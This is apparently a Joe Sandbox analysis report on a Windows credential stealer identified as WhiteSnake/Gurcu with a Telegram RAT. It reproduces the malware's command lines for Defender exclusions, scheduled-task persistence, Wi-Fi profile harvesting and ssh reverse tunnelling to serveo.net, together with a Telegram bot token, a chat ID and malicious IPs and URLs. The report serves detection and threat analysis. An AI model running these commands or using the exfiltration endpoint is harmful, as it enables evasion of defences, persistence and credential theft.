Edit tour

Windows Analysis Report
jqOHOuPMJP.exe

Overview

General Information

Sample name:	jqOHOuPMJP.exe renamed because original name is a hash value
Original sample name:	7e9a93c69aecfc2bbda9470fbd4556db.exe
Analysis ID:	1390172
MD5:	7e9a93c69aecfc2bbda9470fbd4556db
SHA1:	ab0e810472a897affac1a761b49595939f6897a9
SHA256:	82e68bb4f56181a0b2458f2861aa7b5fa1bb0f4ce30907d579c3b92707ef2647
Tags:	exeWhiteSnakeStealer
Infos:

Detection

Gurcu Stealer, WhiteSnake Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Gurcu Stealer

Yara detected Telegram RAT

Yara detected WhiteSnake Stealer

Adds a directory exclusion to Windows Defender

Disables UAC (registry)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Port Forwarding Activity Via SSH.EXE

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Schtasks From Env Var Folder

Tries to load missing DLLs

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

jqOHOuPMJP.exe (PID: 6780 cmdline: C:\Users\user\Desktop\jqOHOuPMJP.exe MD5: 7E9A93C69AECFC2BBDA9470FBD4556DB)

powershell.exe (PID: 1516 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7216 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

vkefq4cv.oil.exe (PID: 7316 cmdline: "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" MD5: 869F82DF0992DC2F5155D8F69FD1C9CF)

cmd.exe (PID: 7420 cmdline: C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" &&START "" "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7468 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

timeout.exe (PID: 7484 cmdline: timeout /t 3 MD5: 100065E21CFBBDE57CBA2838921F84D6)

schtasks.exe (PID: 7600 cmdline: schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

vkefq4cv.oil.exe (PID: 7620 cmdline: "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" MD5: 869F82DF0992DC2F5155D8F69FD1C9CF)

cmd.exe (PID: 7776 cmdline: cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ] MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7988 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 8008 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

findstr.exe (PID: 8020 cmdline: findstr /R /C:"[ ]:[ ]" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 8064 cmdline: cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 8116 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 8148 cmdline: netsh wlan show networks mode=bssid MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

findstr.exe (PID: 8156 cmdline: findstr "SSID BSSID Signal" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

ssh.exe (PID: 4548 cmdline: "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net MD5: C05426E6F6DFB30FB78FBA874A2FF7DC)

conhost.exe (PID: 2088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vkefq4cv.oil.exe (PID: 8072 cmdline: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe MD5: 869F82DF0992DC2F5155D8F69FD1C9CF)

cmd.exe (PID: 1196 cmdline: cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ] MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 2084 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 2004 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

findstr.exe (PID: 6344 cmdline: findstr /R /C:"[ ]:[ ]" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 6544 cmdline: cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7384 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 7316 cmdline: netsh wlan show networks mode=bssid MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

findstr.exe (PID: 7500 cmdline: findstr "SSID BSSID Signal" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

ssh.exe (PID: 7440 cmdline: "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net MD5: C05426E6F6DFB30FB78FBA874A2FF7DC)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 1800 cmdline: C:\Windows\system32\WerFault.exe -u -p 8072 -s 1632 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

vkefq4cv.oil.exe (PID: 7712 cmdline: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe MD5: 869F82DF0992DC2F5155D8F69FD1C9CF)

vkefq4cv.oil.exe (PID: 125704 cmdline: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe MD5: 869F82DF0992DC2F5155D8F69FD1C9CF)

vkefq4cv.oil.exe (PID: 325468 cmdline: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe MD5: 869F82DF0992DC2F5155D8F69FD1C9CF)

vkefq4cv.oil.exe (PID: 491576 cmdline: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe MD5: 869F82DF0992DC2F5155D8F69FD1C9CF)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage"}

Threatname: Gurcu Stealer

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000002D.00000002.3553295709.00000167D1889000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GurcuStealer	Yara detected Gurcu Stealer	Joe Security
0000002C.00000002.2953825020.000001EC01AD9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GurcuStealer	Yara detected Gurcu Stealer	Joe Security
00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GurcuStealer	Yara detected Gurcu Stealer	Joe Security
0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GurcuStealer	Yara detected Gurcu Stealer	Joe Security
Process Memory Space: vkefq4cv.oil.exe PID: 7316	JoeSecurity_GurcuStealer	Yara detected Gurcu Stealer	Joe Security
Process Memory Space: vkefq4cv.oil.exe PID: 7620	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vkefq4cv.oil.exe PID: 7620	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: vkefq4cv.oil.exe PID: 8072	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vkefq4cv.oil.exe PID: 8072	JoeSecurity_WhiteSnake	Yara detected WhiteSnake Stealer	Joe Security
Process Memory Space: vkefq4cv.oil.exe PID: 8072	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: vkefq4cv.oil.exe PID: 7712	JoeSecurity_GurcuStealer	Yara detected Gurcu Stealer	Joe Security
Process Memory Space: vkefq4cv.oil.exe PID: 125704	JoeSecurity_GurcuStealer	Yara detected Gurcu Stealer	Joe Security
Process Memory Space: vkefq4cv.oil.exe PID: 325468	JoeSecurity_GurcuStealer	Yara detected Gurcu Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" &&START "" "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, CommandLine: C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" &&START "" "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe, ParentProcessId: 7316, ParentProcessName: vkefq4cv.oil.exe, ProcessCommandLine: C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" &&START "" "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, ProcessId: 7420, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user', CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user', CommandLine|base64offset|contains: &, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\jqOHOuPMJP.exe, ParentImage: C:\Users\user\Desktop\jqOHOuPMJP.exe, ParentProcessId: 6780, ParentProcessName: jqOHOuPMJP.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user', ProcessId: 1516, ProcessName: powershell.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 185.119.118.59, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, Initiated: true, ProcessId: 7620, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49738

Sigma detected: Port Forwarding Activity Via SSH.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net, CommandLine: "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net, CommandLine|base64offset|contains: , Image: C:\Windows\System32\OpenSSH\ssh.exe, NewProcessName: C:\Windows\System32\OpenSSH\ssh.exe, OriginalFileName: C:\Windows\System32\OpenSSH\ssh.exe, ParentCommandLine: "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" , ParentImage: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, ParentProcessId: 7620, ParentProcessName: vkefq4cv.oil.exe, ProcessCommandLine: "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net, ProcessId: 4548, ProcessName: ssh.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f , CommandLine: schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f , CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" &&START "" "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7420, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f , ProcessId: 7600, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user', CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user', CommandLine|base64offset|contains: &, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\jqOHOuPMJP.exe, ParentImage: C:\Users\user\Desktop\jqOHOuPMJP.exe, ParentProcessId: 6780, ParentProcessName: jqOHOuPMJP.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user', ProcessId: 1516, ProcessName: powershell.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ], CommandLine: cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ], CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" , ParentImage: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, ParentProcessId: 7620, ParentProcessName: vkefq4cv.oil.exe, ProcessCommandLine: cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ], ProcessId: 7776, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://216.250.190.139:80	Avira URL Cloud: Label: malware
Source: https://192.99.196.191:443	Avira URL Cloud: Label: malware
Source: http://66.42.56.128:80	Avira URL Cloud: Label: malware
Source: http://82.147.85.194/byte/@jokerbot880901.txt	Avira URL Cloud: Label: malware
Source: http://185.217.98.121:80	Avira URL Cloud: Label: malware
Source: https://44.228.161.50:443	Avira URL Cloud: Label: malware
Source: https://164.90.185.9:443	Avira URL Cloud: Label: malware
Source: http://18.228.80.130:80	Avira URL Cloud: Label: malware
Source: http://185.217.98.121:8080	Avira URL Cloud: Label: malware
Source: http://pesterbdd.com/i?	Avira URL Cloud: Label: malware
Source: http://82.147.85.194/byte/	Avira URL Cloud: Label: malware
Source: https://185.217.98.121:443	Avira URL Cloud: Label: malware
Source: http://116.202.101.219:8080	Avira URL Cloud: Label: malware
Source: http://206.189.109.146:80	Avira URL Cloud: Label: malware

Found malware configuration

Source: vkefq4cv.oil.exe.8072.18.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage"}
Source: vkefq4cv.oil.exe.8072.18.memstrmin	Malware Configuration Extractor: Gurcu Stealer {"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349"}

Multi AV Scanner detection for domain / URL

Source: serveo.net	Virustotal: Detection: 7%	Perma Link
Source: http://216.250.190.139:80	Virustotal: Detection: 7%	Perma Link
Source: http://193.142.58.127:80	Virustotal: Detection: 6%	Perma Link
Source: http://66.42.56.128:80	Virustotal: Detection: 8%	Perma Link
Source: http://185.217.98.121:80	Virustotal: Detection: 15%	Perma Link
Source: https://164.90.185.9:443	Virustotal: Detection: 8%	Perma Link
Source: http://18.228.80.130:80	Virustotal: Detection: 10%	Perma Link
Source: http://185.217.98.121:8080	Virustotal: Detection: 11%	Perma Link

Multi AV Scanner detection for submitted file

Source: jqOHOuPMJP.exe	ReversingLabs: Detection: 13%
Source: jqOHOuPMJP.exe	Virustotal: Detection: 24%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: jqOHOuPMJP.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: >{tnnsqc7~br
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: >tyy`ejj/euh5tx,r
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: 9s{tgd}b}~yr
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: ,yqdr,j!)/$"+}$#.~!%-$'-,+rzy"$xz&'),##z)wr.-#
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: fn{m8Gq}pjjf"gw~f+~~kg}{
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: jkK\k
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: -{whzMWg1sq&G
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: fbnu8ci*OJ ~{~t
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: faww8i}fpkdmmjq
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: 3&k-m88"+89"+8:"+
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: .dylpGul=`hz#o}
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: flq8JSNR[YPQ
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack	String decryptor: 88r`bE:~!ba}<}!pvvfs\|1~q9o{d(us8:>!sme`''ml29o)r,c\|}!\|!vqr:

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 11_2_00007FFD9B9784B1 CryptUnprotectData,	11_2_00007FFD9B9784B1
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 11_2_00007FFD9B9785FD CryptUnprotectData,	11_2_00007FFD9B9785FD
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 18_2_00007FFD9B9784A1 CryptUnprotectData,	18_2_00007FFD9B9784A1

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: jqOHOuPMJP.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbD966DD2-7850-423A-B1D8-7882CE1A6D15.log source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\system32\rsaenh.dll.pdb\| source: vkefq4cv.oil.exe, 00000012.00000002.2077754048.0000010DF0DFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2a source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERCB81.tmp.dmp.41.dr
